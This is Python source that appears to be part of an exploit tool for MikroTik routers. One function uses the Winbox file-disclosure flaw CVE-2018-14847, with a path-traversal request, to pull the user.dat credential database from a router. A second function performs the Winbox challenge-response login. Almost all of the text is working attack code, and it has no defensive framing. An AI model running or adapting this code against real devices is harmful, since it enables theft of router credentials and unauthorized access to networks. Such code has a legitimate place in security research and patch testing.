def get_user_dat(ip, port):
"""
This function uses the file disclosure vulnerability, CVE-2018-14847, to
download the user database from /flash/rw/store/user.dat
:param ip: the address of the router to connect to
:param port: the winbox port to connect to
:return: a string containing the user.dat data or an empty string on error
"""
print("[+] Attempting to connect to {}:{}".format(ip, port))
session = WinboxSession(ip, port)
if not session.connect():
print("[!] Failed to connect to the remote host.")
return ""
# open user.dat file
print("[+] Extracting user.dat...")
msg = WinboxMessage()
msg.set_to(2, 2)
msg.set_command(7)
msg.set_request_id(1)
msg.set_reply_expected(True)
msg.add_string(1, "//./.././.././../flash/rw/store/user.dat")
session.send(msg)
msg = session.receive()
if not msg:
print("[!] Error receiving an open file response.")
return ""
session_id = msg.get_session_id()
file_size = msg.get_u32(2)
if file_size == 0:
print("[!] File size is 0.")
return ""
# read the user.dat file
msg.reset()
msg.set_to(2, 2)
msg.set_command(4)
msg.set_request_id(2)
msg.set_reply_expected(True)
msg.set_session_id(session_id)
msg.add_u32(2, file_size)
session.send(msg)
msg = session.receive()
if not msg:
print("[!] Error receiving a file content response.")
return ""
return msg.get_raw(0x03)
def login(self, username, password, session_id):
"""
Login to the Mikrotik router. Performs Challenge exchage authentication
:param username: router user name
:param password: router user password
:param session_id: session it to connect
:return: False if failed, session_id if success
"""
# request the challenge
msg = WinboxMessage()
msg.set_to(13, 4)
msg.set_command(4)
msg.set_request_id(2)
msg.set_session_id(session_id)
msg.set_reply_expected(True)
if not self.send(msg):
return False
msg = self.receive()
if not msg or msg.has_error():
print(msg.get_error_string())
return False
salt = msg.get_raw(0x9)
if len(salt) != 16:
msg = self.receive()
if not msg | msg.has_error():
print(msg.get_error_string())
return False
salt = msg.get_raw(0x9)
# generate the challenge response
m = hashlib.md5()
one = b'\x00'
m.update(one)
m.update(password.encode())
m.update(salt)
hashed = one + m.digest()
msg.reset()
msg.set_to(13, 4)
msg.set_command(1)
msg.set_request_id(3)
msg.set_session_id(session_id)
msg.set_reply_expected(True)
msg.add_string(1, username)
msg.add_raw(9, salt)
msg.add_raw(10, hashed)
if not self.send(msg):
return False
msg = self.receive()
if not msg:
print("Error receiving a response.")
return False
if msg.has_error():
print(msg.get_error_string())
return False
sess_id = msg.get_session_id()
return sess_id